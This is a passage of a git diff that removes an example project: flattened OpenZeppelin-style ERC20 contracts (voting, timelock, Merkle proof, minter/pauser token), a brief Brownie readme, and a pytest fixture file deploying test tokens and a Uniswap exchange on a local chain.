-     * Requirements:
-     *
-     * - input must fit into 8 bits.
-     */
-    function toUint8(uint256 value) internal pure returns (uint8) {
-        require(value <= type(uint8).max, "SafeCast: value doesn\'t fit in 8 bits");
-        return uint8(value);
-    }
-
-    /**
-     * @dev Converts a signed int256 into an unsigned uint256.
-     *
-     * Requirements:
-     *
-     * - input must be greater than or equal to 0.
-     */
-    function toUint256(int256 value) internal pure returns (uint256) {
-        require(value >= 0, "SafeCast: value must be positive");
-        return uint256(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int128 from int256, reverting on
-     * overflow (when the input is less than smallest int128 or
-     * greater than largest int128).
-     *
-     * Counterpart to Solidity's `int128` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 128 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt128(int256 value) internal pure returns (int128) {
-        require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn\'t fit in 128 bits");
-        return int128(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int64 from int256, reverting on
-     * overflow (when the input is less than smallest int64 or
-     * greater than largest int64).
-     *
-     * Counterpart to Solidity's `int64` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 64 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt64(int256 value) internal pure returns (int64) {
-        require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn\'t fit in 64 bits");
-        return int64(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int32 from int256, reverting on
-     * overflow (when the input is less than smallest int32 or
-     * greater than largest int32).
-     *
-     * Counterpart to Solidity's `int32` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 32 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt32(int256 value) internal pure returns (int32) {
-        require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn\'t fit in 32 bits");
-        return int32(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int16 from int256, reverting on
-     * overflow (when the input is less than smallest int16 or
-     * greater than largest int16).
-     *
-     * Counterpart to Solidity's `int16` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 16 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt16(int256 value) internal pure returns (int16) {
-        require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn\'t fit in 16 bits");
-        return int16(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int8 from int256, reverting on
-     * overflow (when the input is less than smallest int8 or
-     * greater than largest int8).
-     *
-     * Counterpart to Solidity's `int8` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 8 bits.
-     *
-     * _Available since v3.1._
-     */
-    function toInt8(int256 value) internal pure returns (int8) {
-        require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn\'t fit in 8 bits");
-        return int8(value);
-    }
-
-    /**
-     * @dev Converts an unsigned uint256 into a signed int256.
-     *
-     * Requirements:
-     *
-     * - input must be less than or equal to maxInt256.
-     */
-    function toInt256(uint256 value) internal pure returns (int256) {
-        // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
-        require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
-        return int256(value);
-    }
-}
-
-
-// File contracts/extensions/ERC20Votes.sol
-
-
-
-
-
-
-
-
-/**
- * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
- * and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
- *
- * NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
- *
- * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
- * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
- * power can be queried through the public accessors {getVotes} and {getPastVotes}.
- *
- * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
- * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
- * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
- * will significantly increase the base gas cost of transfers.
- *
- * _Available since v4.2._
- */
-abstract contract ERC20Votes is ERC20Permit {
-    struct Checkpoint {
-        uint32  fromBlock;
-        uint224 votes;
-    }
-
-    bytes32 private constant _DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
-
-    mapping (address => address) private _delegates;
-    mapping (address => Checkpoint[]) private _checkpoints;
-    Checkpoint[] private _totalSupplyCheckpoints;
-
-    /**
-     * @dev Emitted when an account changes their delegate.
-     */
-    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
-
-    /**
-     * @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.
-     */
-    event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
-
-    /**
-     * @dev Get the `pos`-th checkpoint for `account`.
-     */
-    function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
-        return _checkpoints[account][pos];
-    }
-
-    /**
-     * @dev Get number of checkpoints for `account`.
-     */
-    function numCheckpoints(address account) public view virtual returns (uint32) {
-        return SafeCast.toUint32(_checkpoints[account].length);
-    }
-
-    /**
-     * @dev Get the address `account` is currently delegating to.
-     */
-    function delegates(address account) public view virtual returns (address) {
-        return _delegates[account];
-    }
-
-    /**
-     * @dev Gets the current votes balance for `account`
-     */
-    function getVotes(address account) public view returns (uint256) {
-        uint256 pos = _checkpoints[account].length;
-        return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
-    }
-
-    /**
-     * @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
-     *
-     * Requirements:
-     *
-     * - `blockNumber` must have been already mined
-     */
-    function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {
-        require(blockNumber < block.number, "ERC20Votes: block not yet mined");
-        return _checkpointsLookup(_checkpoints[account], blockNumber);
-    }
-
-    /**
-     * @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
-     * It is but NOT the sum of all the delegated votes!
-     *
-     * Requirements:
-     *
-     * - `blockNumber` must have been already mined
-     */
-    function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {
-        require(blockNumber < block.number, "ERC20Votes: block not yet mined");
-        return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
-    }
-
-    /**
-     * @dev Lookup a value in a list of (sorted) checkpoints.
-     */
-    function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
-        // We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
-        //
-        // During the loop, the index of the wanted checkpoint remains in the range [low, high).
-        // With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
-        // - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
-        // - If the middle checkpoint is before `blockNumber`, we look in [mid+1, high)
-        // Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
-        // out of bounds (in which case we're looking too far in the past and the result is 0).
-        // Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
-        // past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
-        // the same.
-        uint256 high = ckpts.length;
-        uint256 low = 0;
-        while (low < high) {
-            uint256 mid = Math.average(low, high);
-            if (ckpts[mid].fromBlock > blockNumber) {
-                high = mid;
-            } else {
-                low = mid + 1;
-            }
-        }
-
-        return high == 0 ? 0 : ckpts[high - 1].votes;
-    }
-
-    /**
-     * @dev Delegate votes from the sender to `delegatee`.
-     */
-    function delegate(address delegatee) public virtual {
-        return _delegate(_msgSender(), delegatee);
-    }
-
-    /**
-     * @dev Delegates votes from signer to `delegatee`
-     */
-    function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s)
-        public virtual
-    {
-        require(block.timestamp <= expiry, "ERC20Votes: signature expired");
-        address signer = ECDSA.recover(
-            _hashTypedDataV4(keccak256(abi.encode(
-                _DELEGATION_TYPEHASH,
-                delegatee,
-                nonce,
-                expiry
-            ))),
-            v, r, s
-        );
-        require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
-        return _delegate(signer, delegatee);
-    }
-
-    /**
-     * @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
-     */
-    function _maxSupply() internal view virtual returns (uint224) {
-        return type(uint224).max;
-    }
-
-    /**
-     * @dev Snapshots the totalSupply after it has been increased.
-     */
-    function _mint(address account, uint256 amount) internal virtual override {
-        super._mint(account, amount);
-        require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
-
-        _writeCheckpoint(_totalSupplyCheckpoints, add, amount);
-    }
-
-    /**
-     * @dev Snapshots the totalSupply after it has been decreased.
-     */
-    function _burn(address account, uint256 amount) internal virtual override {
-        super._burn(account, amount);
-
-        _writeCheckpoint(_totalSupplyCheckpoints, subtract, amount);
-    }
-
-    /**
-     * @dev Move voting power when tokens are transferred.
-     *
-     * Emits a {DelegateVotesChanged} event.
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-        _moveVotingPower(delegates(from), delegates(to), amount);
-    }
-
-    /**
-     * @dev Change delegation for `delegator` to `delegatee`.
-     *
-     * Emits events {DelegateChanged} and {DelegateVotesChanged}.
-     */
-    function _delegate(address delegator, address delegatee) internal virtual {
-        address currentDelegate = delegates(delegator);
-        uint256 delegatorBalance = balanceOf(delegator);
-        _delegates[delegator] = delegatee;
-
-        emit DelegateChanged(delegator, currentDelegate, delegatee);
-
-        _moveVotingPower(currentDelegate, delegatee, delegatorBalance);
-    }
-
-    function _moveVotingPower(address src, address dst, uint256 amount) private {
-        if (src != dst && amount > 0) {
-            if (src != address(0)) {
-                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], subtract, amount);
-                emit DelegateVotesChanged(src, oldWeight, newWeight);
-            }
-
-            if (dst != address(0)) {
-                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], add, amount);
-                emit DelegateVotesChanged(dst, oldWeight, newWeight);
-            }
-        }
-    }
-
-    function _writeCheckpoint(
-        Checkpoint[] storage ckpts,
-        function (uint256, uint256) view returns (uint256) op,
-        uint256 delta
-    )
-        private returns (uint256 oldWeight, uint256 newWeight)
-    {
-        uint256 pos = ckpts.length;
-        oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
-        newWeight = op(oldWeight, delta);
-
-        if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
-            ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);
-        } else {
-            ckpts.push(Checkpoint({
-                fromBlock: SafeCast.toUint32(block.number),
-                votes: SafeCast.toUint224(newWeight)
-            }));
-        }
-    }
-
-    function add(uint256 a, uint256 b) private pure returns (uint256) {
-        return a + b;
-    }
-
-    function subtract(uint256 a, uint256 b) private pure returns (uint256) {
-        return a - b;
-    }
-}
-
-
-// File contracts/extensions/ERC20VotesComp.sol
-
-
-
-
-
-/**
- * @dev Extension of ERC20 to support Compound's voting and delegation. This version exactly matches Compound's
- * interface, with the drawback of only supporting supply up to (2^96^ - 1).
- *
- * NOTE: You should use this contract if you need exact compatibility with COMP (for example in order to use your token
- * with Governor Alpha or Bravo) and if you are sure the supply cap of 2^96^ is enough for you. Otherwise, use the
- * {ERC20Votes} variant of this module.
- *
- * This extensions keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
- * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
- * power can be queried through the public accessors {getCurrentVotes} and {getPriorVotes}.
- *
- * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
- * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
- * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
- * will significantly increase the base gas cost of transfers.
- *
- * _Available since v4.2._
- */
-abstract contract ERC20VotesComp is ERC20Votes {
-    /**
-     * @dev Comp version of the {getVotes} accessor, with `uint96` return type.
-     */
-    function getCurrentVotes(address account) external view returns (uint96) {
-        return SafeCast.toUint96(getVotes(account));
-    }
-    /**
-     * @dev Comp version of the {getPastVotes} accessor, with `uint96` return type.
-     */
-    function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96) {
-        return SafeCast.toUint96(getPastVotes(account, blockNumber));
-    }
-
-    /**
-     * @dev Maximum token supply. Reduced to `type(uint96).max` (2^96^ - 1) to fit COMP interface.
-     */
-    function _maxSupply() internal view virtual override returns (uint224) {
-        return type(uint96).max;
-    }
-}
-
-
-// File contracts/presets/ERC20PresetFixedSupply.sol
-
-
-
-
-/**
- * @dev {ERC20} token, including:
- *
- *  - Preminted initial supply
- *  - Ability for holders to burn (destroy) their tokens
- *  - No access control mechanism (for minting/pausing) and hence no governance
- *
- * This contract uses {ERC20Burnable} to include burn capabilities - head to
- * its documentation for details.
- *
- * _Available since v3.4._
- */
-contract ERC20PresetFixedSupply is ERC20Burnable {
-    /**
-     * @dev Mints `initialSupply` amount of token and transfers them to `owner`.
-     *
-     * See {ERC20-constructor}.
-     */
-    constructor(
-        string memory name,
-        string memory symbol,
-        uint256 initialSupply,
-        address owner
-    ) ERC20(name, symbol) {
-        _mint(owner, initialSupply);
-    }
-}
-
-// File contracts/utils/Address.sol
-
-/**
- * @dev Collection of functions related to the address type
- */
-library Address {
-    /**
-     * @dev Returns true if `account` is a contract.
-     *
-     * [IMPORTANT]
-     * ====
-     * It is unsafe to assume that an address for which this function returns
-     * false is an externally-owned account (EOA) and not a contract.
-     *
-     * Among others, `isContract` will return false for the following
-     * types of addresses:
-     *
-     *  - an externally-owned account
-     *  - a contract in construction
-     *  - an address where a contract will be created
-     *  - an address where a contract lived, but was destroyed
-     * ====
-     */
-    function isContract(address account) internal view returns (bool) {
-        // This method relies on extcodesize, which returns 0 for contracts in
-        // construction, since the code is only stored at the end of the
-        // constructor execution.
-
-        uint256 size;
-        // solhint-disable-next-line no-inline-assembly
-        assembly { size := extcodesize(account) }
-        return size > 0;
-    }
-
-    /**
-     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
-     * `recipient`, forwarding all available gas and reverting on errors.
-     *
-     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
-     * of certain opcodes, possibly making contracts go over the 2300 gas limit
-     * imposed by `transfer`, making them unable to receive funds via
-     * `transfer`. {sendValue} removes this limitation.
-     *
-     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
-     *
-     * IMPORTANT: because control is transferred to `recipient`, care must be
-     * taken to not create reentrancy vulnerabilities. Consider using
-     * {ReentrancyGuard} or the
-     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
-     */
-    function sendValue(address payable recipient, uint256 amount) internal {
-        require(address(this).balance >= amount, "Address: insufficient balance");
-
-        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
-        (bool success, ) = recipient.call{ value: amount }("");
-        require(success, "Address: unable to send value, recipient may have reverted");
-    }
-
-    /**
-     * @dev Performs a Solidity function call using a low level `call`. A
-     * plain`call` is an unsafe replacement for a function call: use this
-     * function instead.
-     *
-     * If `target` reverts with a revert reason, it is bubbled up by this
-     * function (like regular Solidity function calls).
-     *
-     * Returns the raw returned data. To convert to the expected return value,
-     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
-     *
-     * Requirements:
-     *
-     * - `target` must be a contract.
-     * - calling `target` with `data` must not revert.
-     *
-     * _Available since v3.1._
-     */
-    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
-      return functionCall(target, data, "Address: low-level call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
-     * `errorMessage` as a fallback revert reason when `target` reverts.
-     *
-     * _Available since v3.1._
-     */
-    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
-        return functionCallWithValue(target, data, 0, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but also transferring `value` wei to `target`.
-     *
-     * Requirements:
-     *
-     * - the calling contract must have an ETH balance of at least `value`.
-     * - the called Solidity function must be `payable`.
-     *
-     * _Available since v3.1._
-     */
-    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
-        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
-     * with `errorMessage` as a fallback revert reason when `target` reverts.
-     *
-     * _Available since v3.1._
-     */
-    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
-        require(address(this).balance >= value, "Address: insufficient balance for call");
-        require(isContract(target), "Address: call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.call{ value: value }(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but performing a static call.
-     *
-     * _Available since v3.3._
-     */
-    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
-        return functionStaticCall(target, data, "Address: low-level static call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
-     * but performing a static call.
-     *
-     * _Available since v3.3._
-     */
-    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
-        require(isContract(target), "Address: static call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.staticcall(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but performing a delegate call.
-     *
-     * _Available since v3.4._
-     */
-    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
-        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
-     * but performing a delegate call.
-     *
-     * _Available since v3.4._
-     */
-    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
-        require(isContract(target), "Address: delegate call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.delegatecall(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
-        if (success) {
-            return returndata;
-        } else {
-            // Look for revert reason and bubble it up if present
-            if (returndata.length > 0) {
-                // The easiest way to bubble the revert reason is using memory via assembly
-
-                // solhint-disable-next-line no-inline-assembly
-                assembly {
-                    let returndata_size := mload(returndata)
-                    revert(add(32, returndata), returndata_size)
-                }
-            } else {
-                revert(errorMessage);
-            }
-        }
-    }
-}
-
-
-// File contracts/utils/SafeERC20.sol
-
-
-
-
-
-
-/**
- * @title SafeERC20
- * @dev Wrappers around ERC20 operations that throw on failure (when the token
- * contract returns false). Tokens that return no value (and instead revert or
- * throw on failure) are also supported, non-reverting calls are assumed to be
- * successful.
- * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
- * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
- */
-library SafeERC20 {
-    using Address for address;
-
-    function safeTransfer(IERC20 token, address to, uint256 value) internal {
-        _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
-    }
-
-    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
-        _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
-    }
-
-    /**
-     * @dev Deprecated. This function has issues similar to the ones found in
-     * {IERC20-approve}, and its usage is discouraged.
-     *
-     * Whenever possible, use {safeIncreaseAllowance} and
-     * {safeDecreaseAllowance} instead.
-     */
-    function safeApprove(IERC20 token, address spender, uint256 value) internal {
-        // safeApprove should only be called when setting an initial allowance,
-        // or when resetting it to zero. To increase and decrease it, use
-        // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
-        // solhint-disable-next-line max-line-length
-        require((value == 0) || (token.allowance(address(this), spender) == 0),
-            "SafeERC20: approve from non-zero to non-zero allowance"
-        );
-        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
-    }
-
-    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
-        uint256 newAllowance = token.allowance(address(this), spender) + value;
-        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
-    }
-
-    function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
-        unchecked {
-            uint256 oldAllowance = token.allowance(address(this), spender);
-            require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
-            uint256 newAllowance = oldAllowance - value;
-            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
-        }
-    }
-
-    /**
-     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
-     * on the return value: the return value is optional (but if data is returned, it must not be false).
-     * @param token The token targeted by the call.
-     * @param data The call data (encoded using abi.encode or one of its variants).
-     */
-    function _callOptionalReturn(IERC20 token, bytes memory data) private {
-        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
-        // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
-        // the target address contains contract code and also asserts for success in the low-level call.
-
-        bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
-        if (returndata.length > 0) { // Return data is optional
-            // solhint-disable-next-line max-line-length
-            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
-        }
-    }
-}
-
-
-// File contracts/utils/TokenTimelock.sol
-
-
-
-
-
-/**
- * @dev A token holder contract that will allow a beneficiary to extract the
- * tokens after a given release time.
- *
- * Useful for simple vesting schedules like "advisors get all of their tokens
- * after 1 year".
- */
-contract TokenTimelock {
-    using SafeERC20 for IERC20;
-
-    // ERC20 basic token contract being held
-    IERC20 immutable private _token;
-
-    // beneficiary of tokens after they are released
-    address immutable private _beneficiary;
-
-    // timestamp when token release is enabled
-    uint256 immutable private _releaseTime;
-
-    constructor (IERC20 token_, address beneficiary_, uint256 releaseTime_) {
-        // solhint-disable-next-line not-rely-on-time
-        require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
-        _token = token_;
-        _beneficiary = beneficiary_;
-        _releaseTime = releaseTime_;
-    }
-
-    /**
-     * @return the token being held.
-     */
-    function token() public view virtual returns (IERC20) {
-        return _token;
-    }
-
-    /**
-     * @return the beneficiary of the tokens.
-     */
-    function beneficiary() public view virtual returns (address) {
-        return _beneficiary;
-    }
-
-    /**
-     * @return the time when the tokens are released.
-     */
-    function releaseTime() public view virtual returns (uint256) {
-        return _releaseTime;
-    }
-
-    /**
-     * @notice Transfers tokens held by timelock to beneficiary.
-     */
-    function release() public virtual {
-        // solhint-disable-next-line not-rely-on-time
-        require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
-
-        uint256 amount = token().balanceOf(address(this));
-        require(amount > 0, "TokenTimelock: no tokens to release");
-
-        token().safeTransfer(beneficiary(), amount);
-    }
-}
-
-
-// File contracts/utils/cryptography/MerkleProof.sol
-
-
-
-
-
-/**
- * @dev These functions deal with verification of Merkle Trees proofs.
- *
- * The proofs can be generated using the JavaScript library
- * https://github.com/miguelmota/merkletreejs[merkletreejs].
- * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
- *
- * See `test/utils/cryptography/MerkleProof.test.js` for some examples.
- */
-library MerkleProof {
-    /**
-     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
-     * defined by `root`. For this, a `proof` must be provided, containing
-     * sibling hashes on the branch from the leaf to the root of the tree. Each
-     * pair of leaves and each pair of pre-images are assumed to be sorted.
-     */
-    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
-        bytes32 computedHash = leaf;
-
-        for (uint256 i = 0; i < proof.length; i++) {
-            bytes32 proofElement = proof[i];
-
-            if (computedHash <= proofElement) {
-                // Hash(current computed hash + current element of the proof)
-                computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
-            } else {
-                // Hash(current element of the proof + current computed hash)
-                computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
-            }
-        }
-
-        // Check if the computed hash (root) is equal to the provided root
-        return computedHash == root;
-    }
-}
-
-
-// File contracts/presets/ERC20PresetMinterPauser.sol
-
-
-
-
-
-
-
-
-
-/**
- * @dev {ERC20} token, including:
- *
- *  - ability for holders to burn (destroy) their tokens
- *  - a minter role that allows for token minting (creation)
- *  - a pauser role that allows to stop all token transfers
- *
- * This contract uses {AccessControl} to lock permissioned functions using the
- * different roles - head to its documentation for details.
- *
- * The account that deploys the contract will be granted the minter and pauser
- * roles, as well as the default admin role, which will let it grant both minter
- * and pauser roles to other accounts.
- */
-contract ERC20PresetMinterPauser is Context, AccessControlEnumerable, ERC20Burnable, ERC20Pausable {
-    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
-    bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
-
-    /**
-     * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
-     * account that deploys the contract.
-     *
-     * See {ERC20-constructor}.
-     */
-    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
-    _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
-
-    _setupRole(MINTER_ROLE, _msgSender());
-    _setupRole(PAUSER_ROLE, _msgSender());
-    }
-
-    /**
-     * @dev Creates `amount` new tokens for `to`.
-     *
-     * See {ERC20-_mint}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `MINTER_ROLE`.
-     */
-    function mint(address to, uint256 amount) public virtual {
-    require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
-    _mint(to, amount);
-    }
-
-    /**
-     * @dev Pauses all token transfers.
-     *
-     * See {ERC20Pausable} and {Pausable-_pause}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `PAUSER_ROLE`.
-     */
-    function pause() public virtual {
-    require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
-    _pause();
-    }
-
-    /**
-     * @dev Unpauses all token transfers.
-     *
-     * See {ERC20Pausable} and {Pausable-_unpause}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `PAUSER_ROLE`.
-     */
-    function unpause() public virtual {
-    require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
-    _unpause();
-    }
-
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) {
-    super._beforeTokenTransfer(from, to, amount);
-    }
-}
-
-
-
-contract SimpleToken is ERC20PresetMinterPauser {
-
-    /**
-     * @dev Constructor that gives msg.sender all of existing tokens.
-     */
-
-    uint8 private _decimals;
-    uint256 public  INITIAL_SUPPLY = 10000 * (10 ** uint256(18));
-
-
-    function decimals() public view  override returns (uint8) {
-    return _decimals;
-    }
-
-    constructor(string memory name, string memory symbol, uint8  decimals, uint256  initial_supply) public  ERC20PresetMinterPauser(name, symbol){
-    _decimals = decimals;
-    INITIAL_SUPPLY = initial_supply * (10 ** uint256(decimals)) ;
-    _mint(msg.sender, INITIAL_SUPPLY);
-    }
-
-}
diff --git a/Example19-brownie/readme.md b/Example19-brownie/readme.md
deleted file mode 100644
index 704b90484..000000000
--- a/Example19-brownie/readme.md
+++ /dev/null
@@ -1,8 +0,0 @@
-# brownie
-
-
-
-## 参考链接
-  - https://github.com/eth-brownie/brownie
-
-
diff --git a/Example19-brownie/tests/conftest.py b/Example19-brownie/tests/conftest.py
deleted file mode 100644
index f40c9e513..000000000
--- a/Example19-brownie/tests/conftest.py
+++ /dev/null
@@ -1,65 +0,0 @@
-import pytest
-from web3 import Web3
-from web3.contract import ConciseContract
-from brownie import SimpleToken, UniswapFactory, accounts, Contract, UniswapExchange
-
-# reference to .
-# https://github.com/Uniswap/uniswap-v1/blob/master/tests/conftest.py
-# brownie made the contract deploying thing easier but hard to understand
-
-@pytest.fixture
-def w3():
-    w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
-    # w3.eth.setGasPriceStrategy(lambda web3, params: 0)
-    # w3.eth.defaultAccount = w3.eth.accounts[0]
-    # print(w3.eth.default_account)
-    return w3
-
-
-@pytest.fixture
-def HAY_token():
-    t = SimpleToken.deploy("HAYAHEI", "HAY", 18, 0, {"from": accounts[0]})
-    # print(w3.eth.accounts[0])
-
-    # mint 500 to account0 and account1, respectively
-    t.mint(accounts[0], 500 * 10**18, {"from": accounts[0]})
-    t.mint(accounts[1], 500 * 10**18, {"from": accounts[0]})
-
-    return t
-
-
-@pytest.fixture
-def BEE_token():
-    t = SimpleToken.deploy("BEEEEEE", "BEE", 18, 0, {"from": accounts[0]})
-    # print(w3.eth.accounts[0])
-
-    # mint 500 to account0 and account1, respectively
-    t.mint(accounts[0], 500 * 10**18, {"from": accounts[0]})
-    t.mint(accounts[1], 500 * 10**18, {"from": accounts[0]})
-
-    return t
-
-
-@pytest.fixture
-def uniswap_factory():
-    t = UniswapFactory.deploy({"from": accounts[0]})
-
-    return t
-
-
-@pytest.fixture
-def hay_token_exchange(uniswap_factory, HAY_token):
-    transaction_receipt = uniswap_factory.launchExchange(HAY_token)
-    hay_token_exchange_address = uniswap_factory.tokenToExchangeLookup(HAY_token)
-
-    HTExchange = Contract.from_abi("", hay_token_exchange_address, UniswapExchange.abi)
-    return HTExchange
-
-
-@pytest.fixture
-def bee_token_exchange(uniswap_factory, BEE_token):
